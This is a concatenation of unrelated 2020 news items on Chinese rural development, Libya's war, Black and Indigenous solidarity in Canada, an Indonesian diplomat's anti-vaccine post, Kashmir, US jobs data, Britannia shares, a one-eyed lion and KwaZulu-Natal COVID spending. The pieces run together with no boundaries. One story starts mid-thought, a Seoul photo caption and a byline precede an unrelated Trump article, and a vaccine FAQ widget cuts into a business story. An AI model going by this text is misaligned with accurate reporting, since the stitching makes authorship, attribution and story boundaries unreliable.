HEFEI, May 19 (Xinhua) -- Wang Mengmeng likes carrying a notebook wherever she goes, a practical way to facilitate her work. From questions to suggestions, or even complaints, she writes it all down during her talks with villagers. "That's my way to get to know the villagers. Whether it's about agricultural production or loan applications, we will respond to their concerns as soon as possible," said Wang, Party chief of Xikong Village of Dingyuan County, east China's Anhui Province. However, things were totally different when she first came to the village in 2013. Nobody trusted her for obvious reasons. She was just a 25-year-old graduate fresh out of school back then. Before graduation, Wang met a woman at a construction site in her university, which turned out to be a life-changing moment for her. The woman was resting near a tree at noon, holding a baby in her arms. She looked even younger than Wang. "Why are you working here?" Wang asked. "Because there's no work in my village," the woman replied. "It not only hurt me to hear that but reminded me that I also had several relatives who had to work away from home because there was not much to do in the countryside," Wang recalled. Unlike her classmates who pursued dreams in big cities, Wang, against her parents' wishes, returned to her hometown of Dingyuan County and settled down in Xikong Village, intending to vitalize the rural area. People had been planting rice and wheat for decades in Xikong Village until the arrival of the young graduate. She proposed to upgrade the agricultural industry by introducing more profitable crops such as vegetables, grapes and strawberries. She invested 100,000 yuan (about 14,000 U.S. dollars) in her strawberry planting experiment in 2013 even though nobody believed she could succeed. "She looked too weak and thin for farm work back then," said Jin Jiaqun, a 65-year-old resident from the village. Within less than a month, more than half of the strawberry seedlings died due to a lack of experience. She was so frustrated and burst into tears looking at the dead strawberries in the fields. She had to replant the seedlings after consulting with experts. "It wasn't very successful in the first year, but I was able to break even and gained plenty of experience," said the new farmer, who won people's trust with her actions. Seven years on, more than 260 hectares of lands have been utilized in the village to plant cash crops such as strawberries and watermelons, or raise crawfish, earning villagers an average annual income of 15,000 yuan. A total of 135 households have been lifted out of poverty. Wang was elected as a deputy to the 13th National People's Congress (NPC), the country's top legislature, in 2018. She was also the youngest deputy from the Anhui delegation that year. At this year's "two sessions," she plans to draw people's attention to digital community construction and call for more support for rural regions in this regard, so as to empower China's villagers. "My task is to represent the masses and look for the right direction for rural development," said Wang.
His former colleagues still serving in the military had warned him in recent months about Trumps sway over its leadership. Some told him that Esper had been dubbed Yesper by some in the Pentagon because he seemed unable to say no to the president. And they said they believed Milley was effectively running the department by talking to Trump directly and bypassing the secretary, a dynamic that potentially threatened civilian control of the military.
After 14 months and hundreds of lives lost, renegade military commander Khalifa Haftars attempt to seize Tripoli and become Libyas ruler is effectively over.

On Friday, forces loyal to the United Nations-recognised Government of National Accord (GNA) swept through the city of Tarhuna, Haftars last stronghold in western Libya. It came a day after the GNA announced the recapturing of the Greater Tripoli area in its entirety.

Al Jazeera takes a quick look at the collapsed offensive and what lies ahead for the oil-rich North African country.

When did the battle for Tripoli begin?

In April 2019, just days before UN-sponsored peace talks, Haftar announced a military campaign to wrest control of Tripoli, the seat of the GNA since early 2016.

In launching the offensive, the Ajdabiya native and former CIA asset said he sought to cleanse the capital from a government beholden to militias and terrorists.

But the push stalled in the face of strong resistance, with the battle lines remaining largely fixed until a series of military victories in recent weeks by the Turkish-backed GNAs forces.

Who are the foreign actors involved?

Haftar is supported by the United Arab Emirates, Egypt and Russia, while the Tripoli-based administration of Prime Minister Fayez al-Sarraj is supported by Turkey.

France officially supports the GNA but has, in the past, blocked a European Union statement calling on the 76-year-old to halt his offensive.

The United States has sent mixed signals, with President Donald Trump initially praising Haftar for his role in combatting terrorism.

Washington, however, seems to have walked back on its initial position of ambiguity, with the US Africa command recently accusing Russia of deploying a dozen Russian fighter jets to Libya to expand its military footprint in Africa.

Tarhuna was the main launchpad for an offensive against the capital that Haftars forces abandoned this week [Ismail Zitouny/Reuters]

What are the foreign actors goals in Libya?

At 46.4 billion barrels, Libya sits atop Africas largest proven oil reserves.





Turkey stepped up its intervention after signing a maritime demarcation deal with the GNA late last year to begin oil and gas exploration in the resource-abundant eastern Mediterranean.

But energy interests are not alone in shaping foreign countries involvement in Libya, which has been mired in turmoil since the overthrow of longtime ruler Muammar Gaddafi in 2011.

The UAE and Egypt see in Haftar a strongman capable of restoring order and stymying the spread of political Islam, particularly the Muslim Brotherhood, which they view as a threat to their domestic rule.

Russia sees Libya as an opportunity to entrench itself in a part of the world that has traditionally fallen under the Wests purview.

The presence of Russia in the southern shoreline of the Mediterranean threatens the US and NATOs interests. Its a dream that the USSR has always had, said Mohammed Ali Abdallah, GNA adviser for US affairs.

What next?

Analysts say the GNAs military gains do not mark the end of Libyas war but a return to the status quo before the launch of the Tripoli offensive.

Russia and Turkey have engaged in a flurry of diplomatic activity to secure a ceasefire and reap dividends from their military investment.





Libyan officials from both sides of the aisle have travelled to Ankara and Moscow to discuss details of a future ceasefire agreement.

For Emadeddin Badi, a non-resident senior fellow at the Atlantic Council, this is proof of the two countries success in imposing themselves as indispensable interlocutors in any future peace deal.

Tellingly, no European capital features among any of the locales visited by Libyan factions these days, Badi said.

The US and Europeans have worked doubly hard at sidelining themselves over the past year. France has undermined Europe by backing Haftar  and has nothing to show for it now.
Terre Chartrand says she recognizes it's not her place right now to be front and centre during demonstrations in support of black people decrying police violence.

Hey there, time traveller!

This article was published 5/6/2020 (595 days ago), so information in it may no longer be current.

Terre Chartrand says she recognizes it's not her place right now to be front and centre during demonstrations in support of black people decrying police violence.

Chartrand, the Algonquin artistic director of Pins and Needles fabric company, an Indigenous-led arts collective, says her people play an important  but not central  role.

Ciann Wilson, shown in a handout photo, an assistant professor Wilfrid Laurier University, is the principal investigator of the Proclaiming Our Roots project which explores the long histories between black and Indigenous communities and showcases the underrepresented stories of Afro-Indigenous people. THE CANADIAN PRESS/HO

"The same violence has created a condition for both of our communities," says Chartrand of Waterloo, Ont.

There have been intense demonstrations in cities across the United States since the death of George Floyd, a black man in Minneapolis, on May 25. A police officer knelt on his neck for several minutes, even as Floyd said he couldn't breathe.

Indigenous activists say they will be attending rallies and working behind the scenes at demonstrations in Canada. But many say black lives must remain the focus of attention.

"Black activists have supported the resiliency of Indigenous people time and time again," said a statement Thursday from Idle No More organizers Nickita Longman, Shawn Johnston and Alex Wilson.

"It is our turn to show up, take instruction, and trust in the Black Lives Matter movement at this time, and always."

Idle No More began in 2012 in Saskatchewan and became one of the largest Indigenous mass movements with protests around the world. Colonial violence may look the same on the surface sometimes, its organizers organizers said, but there are historical differences behind the oppression.

Ciann Wilson, an assistant professor at Wilfrid Laurier University in Waterloo, said Indigenous people she has spoken with recognize that supporting black people right now will move both groups closer to justice.

"The fact that it's impacting black communities today or Indigenous communities tomorrow, that is a (symptom) of white supremacy," she said. "What we need to tackle is white supremacy in its full form."

Wilson, who is black, was a principal investigator of the Proclaiming Our Roots project. It presents the history between black and Indigenous communities and showcases the underrepresented stories of Afro-Indigenous people.

"When Indigenous and black people have gotten together throughout history in the North Americas, they have staged some of the biggest threats to colonial rule," Wilson said.

The project worked with black, Indigenous and Afro-Indigenous scholars and researchers to show how the Haitian revolution against French colonial rule and slavery in 1791 was a collaboration between them. The two also worked together during the Seminole Wars that attempted to displace the Indigenous population in Florida in the 1800s.

Wilson said that relationship was feared by colonialists because it forged a strong resistance. Over the decades, stories of the battles faded and the relationships between communities sometimes wavered. But Wilson said their mutual fight for justice against oppression remains.

Grand Chief Arlen Dumas with the Assembly of Manitoba Chiefs said First Nations are more than empathic because they "strongly identify with some of the lived experiences of black people in this country and in the U.S."

"The black and Indigenous anger over police brutality, as well as with the court system, has been boiling for decades in this country and indeed around the world," Dumas said in a statement.

The proportion of Indigenous people behind bars in federal prisons is more than 30 per cent, despite their accounting for five per cent of the Canadian population, says the Correctional Investigator of Canada. Black inmates make up about eight per cent of the total in-custody population and 37 per cent of all discrimination complaints to the ombudsman for federal inmates.

An Ontario Human Rights Commission report in 2018 found black people living in Toronto were far more likely to be injured or killed in interactions with city police.

Dumas pointed to the death of a 16-year-old Indigenous girl who was killed by Winnipeg police in April. Police allege she was shot after a pursuit that began with a liquor store robbery. She was one of three Indigenous people killed by police in the Manitoba capital in a 10-day span.

Black and Indigenous voices must be united, Wilson said. Right now, that means everyone must hold themselves, their families and their communities accountable to anti-blackness, she said.

"An injustice for anyone is an injustice for all."

This report by The Canadian Press was first published June 5, 2020
There is growing scrutiny of tactics used by police at anti-racism demonstrations in the US, with protesters shot at and tear-gassed by security forces.

There is growing scrutiny of the tactics used by police at anti-racism demonstrations in the United States.

Protesters have been shot at and tear-gassed by security forces  actions seemingly encouraged by President Donald Trump.

Al Jazeeras Alexi OBrien reports.
Indonesia's top diplomat in India is promoting anti-vaccination views on his personal Facebook page, arguing that building physical fitness and immunity is preferable to ward off the coronavirus.

In the post on Tuesday June 2, Sidharto "Arto" Suryodipuro uploaded a photo of himself exercising and wrote "I'll take my chances, I'll rely on building my own immunity rather than be vaccinated for Covid-19 or any kind of other viral infections".

A friend replied to the post that while he was happy to see the ambassador to India and Bhutan doing push ups, he "just want to say it's not an either/or decision. You can boost your immune system through healthy living (exercise, diet, sleep) and also take advantage of medical vaccinations to further reduce your risk".

But Arto replied that the "immune system is key. Whether vaccines are beneficial or detrimental to my immune system, that's the question, right. I opt out".
New Delhi, June 5 : Four terrorists, including two Taliban militants, camping with the Pakistani Army across the Line of Control opposite Naushera Sector in Jammu and Kashmir are planning to infiltrate into Indian territory, intelligence agencies alerted security forces on Friday.

"They are concentrated in the area of responsibility of Pakistan Army 28 Sind Battalion opposite Naushera Sector and are planning infiltration," the intelligence agencies have flagged.

Pakistan's Taliban militants and other terror organisations in Jammu and Kashmir have suffered major setbacks with Indian forces able to identify and eliminate them in the valley.

A top IPS officer explained that as the Taliban regains strength in certain districts of Afghanistan, an increasing number of militants are being lured by the Pakistani army Special Service Group (SSG) to train and to plot attacks in Kashmir.

Intelligence agencies had also flagged that in Jalalabad, capital of Afghanistan's Nangarhar province, a group of 20 Taliban militants are being groomed for missions in Kashmir by the SSG.

Pakistan is known for harbouring Taliban militants and even during the rise of Al Qaeda provided logistical support to the banned terrorist organization.

Al Qaeda has built terror camps in Jalalabad with the active support of the Pakistani army and the ISI, its notorious intelligence agency.

Among a series of intelligence inputs analysed by security officials about imminent terror attacks, the report from Jalalabad is more worrisome for anti-terror agencies in the country because Pakistan for a very long time has been courting the Taliban to launch the battled-hardened militants in Kashmir.

"Main threat is suicide squad of Taliban which Pakistan is said to be training for terror strike in Kashmir. The intelligence input had suggested that Pakistan is to launch them gradually. Pakistan ISI is also involved because it's impossible for these terrorists to cross without active support of Pakistan state actors," top security officials said.

The eleventh report of the Analytical Support and Sanctions Monitoring Team of the United Nations Security Council stated that Tehrik-e-Taliban Pakistan, Jaish-i-Mohammed and Lashkar-e -Taiba are among those groups posing a security threat in the region.

The report stated these groups are centred in the eastern provinces of Kunar, Nangarhar and Nuristan, where they operate under the umbrella of the Afghan Taliban.

Tehrik-e-Taliban Pakistan is led by Noor Wali Mehsud and his deputy, Qari Amjad. The group is thought to have approximately 500 fighters in Kunar and about 180 in Nangarhar. "The total number of Pakistani nationals fighting with terrorist groups in Afghanistan may be as high as 6,000 to 6,500," the report released this week stated.

(Sumit Kumar Singh can be reached at sumit.k@ians.in)




Noh Kyung-nam, a Barogo food deliveryman, drives through southern Seoul on a scooter in this photo taken on April 10. / Courtesy of Richard Pennington



By Richard Pennington




It is wrong and dangerous for China to benefit from US capital markets without complying with critical protections that investors rightfully deserve, President Donald Trump said on Thursday as he issued a memorandum to protect American investors from Chinese companies.

For decades, Chinese companies have availed themselves of the benefits of US financial markets, and capital raised in the US has helped fuel China's rapid economic growth, Trump said.

The memorandum was issued to Secretary of State Mike Pompeo and other members of the top national security leadership.

While China reaps advantages from US markets, the Chinese government has consistently prevented Chinese companies and companies with significant operations in China from abiding by the investor protections that apply to all companies listing on US stock exchanges, Trump alleged.

"It is both wrong and dangerous for China to benefit from our capital markets without complying with critical protections that investors in those markets rightfully expect and deserve," he said.

"China's actions to thwart our transparency laws raise significant risks for investors. The time has come to take firm action in an orderly fashion to put an end to the practice that has tacitly permitted companies with significant Chinese operations to flout protections United States law requires for investors in United States markets," Trump said.

The president said for example, the Chinese government refuses to allow audit firms registered with the Public Company Accounting Oversight Board (PCAOB) to provide audit working papers to the board.

Recently, the Chinese government enacted a statute that expressly prevents audit firms from providing this information without prior consent of Chinese financial regulators, he said. Preventing the PCAOB from complying with its statutory mandate means that investors cannot have confidence in the financial reports of audited companies and this creates significant risks to investors in the securities listed on US stock exchanges, Trump said.

The Securities and Exchange Commission (SEC) and the PCAOB have pressed China for years to allow companies to provide greater transparency in financial information, to no avail, he rued.

Concerns about China's efforts to thwart transparency requirements suggest significant risks even for investors in Chinese companies listed on US stock exchanges, the president said. Such companies may not provide appropriate and safe investments for investors, including pension funds, which owe fiduciary duties to their beneficiaries, Trump said.

"For these reasons, we must take firm, orderly action to end the Chinese practice of flouting American transparency requirements without negatively affecting American investors and financial markets.

"We must ensure that laws providing protections for investors in American financial markets are fully enforced for companies listed on United States stock exchanges, he said.

In his memorandum, Trump asked the treasury secretary to convene the President's Working Group on Financial Markets.

The group will discuss the risks to investors and financial markets posed by the Chinese government's alleged failure to uphold its international commitments to transparency and accountability and its refusal to permit companies to comply with US law, according to the memorandum.

The group has been asked to submit its memorandum in the next 60 days.
(Natural News) Police officers are under attack as violent riots continue to sweep the nation. In St. Louis, four officers were shot on Monday night and early Tuesday morning in protests that were anything but peaceful.

Around four blocks from the citys police headquarters, two officers were shot in the leg, while one was shot in the arm and another was shot in the foot, according to St. Louis Police Chief John Hayden.

He said the officers had been standing off to the side of a police line and suddenly felt pain and realized theyd been shot.

Chief Hayden stated: I believe some coward randomly shot at the police line. Thankfully, thank God theyre alive, he said.

According to Hayden, there was a large peaceful protest downtown until around 8:00pm, when a smaller group of roughly 200 people started to hype up the crowds and change the mood. He said they looted the downtown area while flashing pistols.

Violent rioters threw bottles and rocks at police and threw gas on them. They also threw fireworks at officers, some of which exploded on them. They also burned a 7-Eleven store, with looters being seen running out of the store carrying stolen items. One rioter threw a firework into the building.

Hayden praised his officers for showing extraordinary restraint and said that they only took crowd control measures when things got violent. They warned the crowd theyd be throwing tear gas if they didnt leave the area and followed through when the crowd refused to disperse, throwing tear gas and moving in lines to break up riots. Violent riots and gunfire persisted until well into the following morning.

All of the officers who were shot, who range in age from 28 to 52, are expected to survive.

Visibly shaken, Chief Hayden asked what this violence had to do with the death of George Floyd in Minneapolis. Mr. Floyds death is tragic. But can we make something out of these kids coming down here and just started like crazy, jumping up and down, high fiving each other, flourishing pistols. I dont know what else to say. This is horrible.

Senator Josh Hawley called the shootings despicable in a statement, offering prayers for the officers and thanking them for putting their lives on the line to protect our neighborhoods. He also called for those who attacked the officers to be brought to justice.

Violence against police in Nevada, California, and New York

Meanwhile, the police chief of Moline Acres, Missouri, David Dorn, was found shot to death outside of a pawn shop that had been looted in violent protests. In Las Vegas, a police officer was shot while trying to disperse a crowd of protestors outside of a casino and is now on life support and in critical condition. In California, 53-year-old federal law enforcement officer Dave Patrick Underwood was shot and killed during a protest while providing security at the U.S. courthouse in Oakland.

In New York City, a police officer was stabbed in the neck in an unprovoked act in Brooklyn that left two other officers shot. Rioters also broke windows and looted luxury stores on Fifth Avenue in Manhattan prior to the citys 11:00pm curfew, which Mayor Bill de Blasio then moved to 8:00 pm. In Buffalo, two officers were in stable condition after a vehicle barreled through a line of officers.

One of the great things about America is that people have the right to assemble and protest in a peaceful manner, but violently attacking the officers who are there to keep everyone safe  and had nothing to do with the incident that started all this  is not helping their cause.

Sources for this article include:

TheEpochTimes.com

KOMU.com

ABCNews.go.com

NBCNews.com
In response to Chinas coming crackdown on Hong Kong, Boris Johnson says hes prepared to grant British residency and working rights to approximately 3 million Hong Kong residents  about 40 percent of its population. Johnson says he will make this move if China implements its new security laws, which will criminalize conduct deemed sedition and subversion, and enable Chinese security forces to crush dissent in Hong Kong as they do in mainland China.

This crackdown violates the Sino-British Joint Declaration in which China agreed to preserve Hong Kongs political freedoms and way of life until 2047.

Johnsons response would allow holders of certain passports to come to Britain for a renewable period of 12 months and gain the right to work. It could place them on a route to citizenship, Johnson stated.

The passports in question are a holdover from British rule. They were issued to people born before 1997. Currently, they only allow holders to stay in Britain for six months, and do not permit them to work. Johnsons plan would vastly expand the rights the passport confers.

The U.S. doesnt share Britains ties to Hong Kong, of course. However, I agree with Mitch McConnell that we should accept refugees from Hong Kong. As McConnell put it:

Our nation has a rich heritage of standing as a beacon of light and freedom, from refugees of war to those escaping the Iron Curtain. We should exercise it again for the people of Hong Kong.

Hong Kong residents fleeing from Chinas crackdown are genuine political refugees. Unlike so many who come here from Central America, they arent motivated by the desire to make more money. (Theres nothing wrong with that motive, of course, but its not a basis for refugee status.) Hong Kong, though it went into a recession last year, is relatively prosperous.

Britain will benefit substantially if its decision leads to a significant brain drain from Hong Kong. China will be the loser, but repression is its priority.
BAKU, Azerbaijan, June 5

By Jeila Aliyeva - Trend:



Turkmenistan and Italian Eni company have discussed cooperation in the fuel and energy sector, Trend reports with reference to Turkmenistans State News Agency.



The discussions were held via videoconference in the Central office of oil and gas complex of Turkmenistan with Eni Executive Vice President for Central Asia, Luca Vignati and Advisor to the president of Turkmenistan on oil and gas issues, Yagshigeldi Kakayev on June 4, 2020.



Discussions of the fuel and energy sector took place taking into account the current state and global trends in the development of world energy markets.



The parties discussed increasing cooperation with Italian partners, as well as the introduction of modern industrial technologies and training of qualified personnel. The participants noted the good experience of the Eni branch in Turkmenistan, which operates under the production sharing agreement on the contractual territory of Nebitdag oil and gas field in Turkmenistan.



Eni extended the term of its activity in Turkmenistan within the Production Sharing Agreement (PSA) for ten years in November 2014.

The matter rests in a contract territory of more than 1,000 square kilometers in the Balkan region of the country.



The company has also shown interest in exploring 19 and 20 offshore blocks in the Turkmen part of the Caspian Sea with reserves of more than 500 million tons of oil and 630 billion cubic meters of natural gas.



Earlier, during the negotiations with Turkmenistan, the Eni leadership voiced its desire in the long term to render assistance in supplying the Turkmen gas to the world markets.

---

Follow the author on Twitter: @JeilaAliyeva
In surprising news, unemployment dropped to 13.3% in May, according to government figures released Friday morning, suggesting the economy has passed the high point of the job devastation wrought by the coronavirus and shelter-in-place orders.

The unemployment rate fell 1.4 percentage points from Aprils 14.7%, which saw the largest month-over-month spike (at 10.3 percentage points) since tracking began in 1948. Investors welcomed the news, with the three major stock indexes all rising more than 2%.

The Department of Labor said the workforce gained 2.5 million jobs in May, reflecting a limited resumption of economic activity. Many economists also credited that to the infusion of Paycheck Protection Program funds, which allowed businesses to rehire workers.

Still, 21 million remain out of work, while the very idea that a double-digit unemployment rate is good news  it was 3.5% in February  shows the economys through-the-looking-glass situation.

Jobs returned to many sectors, from restaurants and bars to clothing stores to dentistry practices to construction. Notable areas where jobs were lost included government and education, due to ongoing school closures. Air transportation continued to struggle, losing 50,000 jobs in May, on top of 79,000 lost in April.

John Blanchard

Roughly half the jobs created in May were part-time positions, an indicator of continued weakness in the labor market, according to Chris Rupkey, chief financial economist at MUFG Union Bank.

Many service jobs are normally part-time, however, and the drop in the unemployment rate could be a sign of those workers slowly being brought back onto payrolls as some businesses reopen, according to Jeffrey Michael, director of the center for business and policy research at University of the Pacific.

Obviously, its a small step to recovery, Michael said. Were still talking about unemployment rates here of (around) 14% and I expect the numbers over the next few months will reflect very slow improvement and some volatility.

Permanent unemployment is still on the rise, however, according to a series of tweets from job site Indeed.coms chief economist, Jed Kolko.

Permanent unemployment climbed in March, April, and May, Kolko wrote. The number of permanent job losers is up 79% in the last three months.

Other experts shared a cautious optimism.

Assuming we dont get more waves (of COVID-19 cases) or have other big bad surprises, there is reason to hope that this is the worst, said Erica Groshen, a senior extension faculty member at Cornell Universitys School of Industrial and Labor Relations and a former commissioner of the U.S. Bureau of Labor Statistics.

Groshen predicts a fairly sharp rebound, rather than a long, slow slog back to pre-pandemic employment.

Some sectors, such as construction, manufacturing, logistics, warehousing and health care, should rebound as all states are now easing stay-at-home orders, Groshen said. But other industries, especially those such as leisure and hospitality that were hit the earliest and hardest, are likely to stay depressed for a long time. Retail also could see a slow recovery as the switch to online was accelerated during recent weeks, she said.

Some 15.3 million Americans, 11.3% of the workforce, described their layoffs as temporary in May. In April, 18.1 million people said their layoffs were temporary. That contrasts with the prior three recessions, when most layoffs were permanent.

This time around, employers want to hold onto these workers, Groshen said. Thats where we can hope for a fairly rapid rebound. Its much faster to recall a worker to a job they already had, where theyre training, where you dont have to go through the hiring process. They can start (immediately) being fully productive.

Jackie Krentzman and Larry Munn of Berkeley are among those expecting that quick rebound. Munn, who teaches anatomy at massage schools as an employee in addition to his freelance massage therapy work, just starting receiving unemployment benefits. Krentzman, who runs Krentzman Communications, obtained a Paycheck Protection Program loan since her business of consulting, writing and editing for nonprofits has cratered.

We are confident that in the fall or shortly there after our clients and work will come back, Krentzman said In fact in my case, as a strategic communications consultant, I wouldnt be surprised if my workload increases because, unfortunately, organizations are going to be using outside consultants more frequently to cut staffing costs.

But her latter point about businesses hiring contractors rather than employees points to one way the recovery could be limited. Other gating factors are possible, too, some economists said.

There are some headwinds, said Bill Rodgers, professor of public policy and chief economist at Heldrich Center for Workforce Development at Rutgers University, who describes the economic damage as bone-chilling.

With some states rushing to re-open, theres a risk of new spikes in infections that would cause the recovery to either slow or even backtrack, he said.

Then there is the growing phenomenon of government layoffs, which up until May had been muted. With every state and locality reporting yawning budget gaps, the only hope for stemming those layoffs would be federal funds, he said. Its still unknown whether that will happen. He sees it as a racial justice issue, because many people of color have gotten a toehold in the middle class by becoming public sector workers.

Then there are the potential impacts of the theft and violence that have piggybacked on the otherwise peaceful protests over racial injustice.

The lootings and destruction of physical property may not affect GDP on a macro level, but it sure as hell will affect gross state products in some places and income growth of some neighborhoods, Rodgers said.

Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes

Some Bay Area retailers say that the vandalism and looting would slow their reopenings.

Theres also the prospect that protests could lead to more infections if not enough people wore masks and practiced social distancing, he said. A related issue: Police arrested some 10,000 protesters nationwide in the past week, according to an Associated Press tally. If those people were not separated during processing and jail time, that, too could cause more infections.

Meanwhile, Bay Area companies are in no hurry to reopen offices. Many have told their employees they can continue to work from home for months to come, and that their return to offices will be voluntary. While those white-collar employees still have jobs, if downtown areas remain ghost towns, a myriad of other folks will lose out.

Big companies provide the bulk of customers for local cafes, convenience stores, a network of retail services, said Michael Bernick, a lawyer with Duane Morris and former head of the state Employment Development Department. It was sobering to read a Chronicle report that most are continuing with work-at-home policies.

The Chronicles Layoff Tracker shows 132,000 jobs lost in the region with hotel, restaurants and retailers taking the brunt. Just like the official numbers, that is an undercount as it is based largely on state filings from companies with over 75 total employees that must account for mass layoffs and does not include small businesses or the self-employed.

Some economists expressed skepticism about the Labor report, saying the numbers are actually much worse.

For technical reasons, many workers were incorrectly classified as employed but absent from work, Stephen Levy, director of the California Center for the Continuing Study of the Economy, said in an email. Properly denoting them as unemployed would have raised the unemployment rate to 16.3%, higher than in April.

I think this is a big head fake and will be revised, he said.

He also sees the job gains as largely due to the PPP funds, which are time limited.

Similarly, Michael Farren, an economist at the Mercatus Center at George Mason University, said adding in the 4.1 million unemployed but absent from work plus 6.3 million people who left the labor force since February would have resulted in a 19% unemployment rate.

New claims for unemployment insurance have come down since their March peak of almost 7 million in a single week, but Americans are still filing more than a million claims a week, Rupkey, the MUFG economist, said. Until rehiring and newly created jobs significantly outweigh those losses, a sustained, sizable drop in the unemployment rate is unlikely.

Some economists were concerned that the labor participation rate  the percentage of people either working or looking for work  would drop, as discouraged workers left the labor market. But in one more hopeful sign, labor force participation went up from April to May.

Chronicle staff writer Chase DiFeliciantonio contributed to this report.

Carolyn Said is a San Francisco Chronicle staff writer. Email: csaid@sfchronicle.com Twitter: @csaid
A spokesperson of the Wadia Group has junked all reports on plans to sell five percent stake in Britannia Industries to raise Rs 4,000 crore.

There were reports that the Mumbai-based group has been trying to use the increase in share prices to its advantage.

Media reports had claimed that the Wadias are trying to sell their shares through secondary block deals in open markets to infuse the proceeds into GoAir and Bombay Dyeing -- both of which have been adversely affected by the coronavirus lockdown.

However, the company issued an official statement on June 6 denying all such speculative reports.

It read: "There is no truth, no such decision has been taken, nor any mandate given. We do not normally comment on speculation. We are issuing this statement in the interest of good governance to prevent any speculation."

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

Meanwhile, Varun Berry, Managing Director, Britannia, has said he is not aware of the development.

Notably, Britannia shares rose by 48 percent since the nationwide coronavirus-induced lockdown was imposed, which is higher than all other FMCG companies. The company also reported 1.5 percent growth in sales and 26 percent growth in earnings during the March quarter financials.

By the end of March 2020, Britannias promoter holding was at 50.6 percent, of which 44.8 percent was held through Associated Biscuits International.

The rest was held through Dowbiggin Enterprises, Bannatyne Enterprises, Valletort Enterprises, Nacupa Enterprises, and Spargo Enterprises.

Besides, Britannia reported sales of Rs 11,444 crore and posted a profit of Rs 1,394 crore in FY 2020.

Experts and analysts have suggested that the company might have been one of the biggest beneficiaries of the lockdown since people consumed more biscuits during the time they spent in the confines of the four walls of their homes.

As per a report by the Emkay Global Financial Services, the estimated debt of the Wadia Group stands at around Rs 7,000 crore, although Britannias exposure is limited to inter-company deposits worth Rs 450 crore.
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A lion whose eye was gouged out in a brutal battle bears a striking resemblance to the villain in Disney's Lion King.

'One Eye' - a 440 pound seven-year-old beast - was captured on camera in Khwai, Botswana, by local photographer and nature guide Shaun Malan, 39.

The lion was left with a gaping wound over his right eye following a battle with an unknown foe.

The four-foot tall big cat would relax and let Mr Malan come as close as ten feet away to take his photos.

Mr Malan said: 'Only a few days later he was out chasing zebras again.

'I think it was impaled by a buffalo horn, or perhaps from a dominance fight with another male lion.'

The wound could be prone to infection, leaving the beast at risk of death.

Mr Malan added: 'Maggots should help a lot with the healing process, and hopefully One Eye will pull through. Lions have an incredible sense of healing; they survive things you think they'd never survive.

'I first met this lion in a coalition in 2014, there were five of them before two new males came in a year ago and chased them all out and killed quite a few of their cubs.

'Sadly we think we also lost one of One Eye's brothers as well.'

'One Eye' - a 440 pound seven-year-old lion - had his eye gouged out in a brutal battle in Botswana. One Eye has to squint to properly see as he prowls for prey

Lookalike: One Eye bared a striking resemblance to Scar, the villain in Disney's Lion King, after his eye was injured in battle

One Eye squints as he plays with a tiny cub resembling Simba from the Disney film. Mr Malan thinks the eye was impaled by a buffalo horn or damaged in a fight with another male lion

Before: One Eye was captured on camera before his terrible injury in Khwai, Botswana, by local photographer Shaun Malan, 39
South Africa: KZN Treasury to monitor COVID-19 expenditure

The KwaZulu-Natal Provincial Treasury has set up a mechanism to monitor how provincial departments, municipalities and public entities are utilising the COVID-19 procurement fund.

Delivering his departments R718.763 million 2020/21 Budget Vote on Wednesday, Provincial Treasury MEC, Ravi Pillay, reiterated that the department cannot do the procurement itself, as departments remain responsible and respective Accounting Officers remain accountable.

The Provincial Treasury has started monitoring expenditure related to COVID-19 by municipalities, public entities and departments.

Risks such as the possible purchase of items not related to COVID-19, while using the emergency procurement regulations and instruction notes, have been identified, Pillay said.

As part of governments response to the pandemic, President Cyril Ramaphosa in April announced a R500 billion economic support package. Part of this was a reprioritisation of R130 billion from national and provincial budgets. Of that, R30 billion is being reprioritised from the provincial budgets, with KwaZulu-Natal's share of that amount being R6.2 billion.

The Provincial Treasurys main tasks during this time of the COVID-19 crisis, Pillay said, is capacitating Supply Chain Management on the new COVID-19 emergency procurement regulations.

We are acutely aware of the risks that are already manifesting themselves. We will undertake the training of Supply Chain Management to ensure that departments can procure commodities on an emergency basis, in line with the emergency procurement regulations, without compromising on quality, specifications and value for money, said the MEC.

Pillay predicted that the COVID-19 pandemic could catapult unemployment in the province to an unprecedented 40% from the current 25%.

Our preliminary projections as Provincial Treasury suggest that the effects of COVID-19 will be detrimental across all sectors of the economy in KwaZulu-Natal, he said.

However, the hardest hit industries include manufacturing, construction, wholesale, retail, hotel, finance, real estate, business services and personal services.

The scourge of COVID-19 is expected to cause the overall demand for goods and services to drop by about 7.5% in the province. The provincial GDP is expected to contract by approximately 8.5%, with employment falling by a staggering 14.6% this year.

It is therefore critical that we are not distracted from the tasks at hand. The infection peak is yet to come. The economic crisis will deepen. The Provincial Government of KwaZulu-Natal has been hard at work, rolling out the four pillars of our response, said Pillay.

On one hand, the department will have to meet the demands of the public health response ahead of the anticipated peak of the wave of infection.

On the other hand, we must mitigate the economic loss and prepare the ground for a sustained economic recovery. This requires a very special, united and collective effort, said the MEC.

Worldwide, the pandemic has exposed the faultlines in society between the rich and poor.

In our country, this is an exceptionally serious faultline, with a toxic overlap between race and inequality. All our measures in response to this crisis must also be underpinned by principles of transformation.

We are encouraged that all levels of society seem to understand and accept this imperative. It has to be economic recovery and economic transformation. We can only achieve this together, Pillay said.

Guided by the Public Finance Management Act (PFMA) and the Municipal Finance Management Act (MFMA), Provincial Treasury will continue to strive to be the Guardian of the Public Purse, he said.  SAnews.gov.za

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
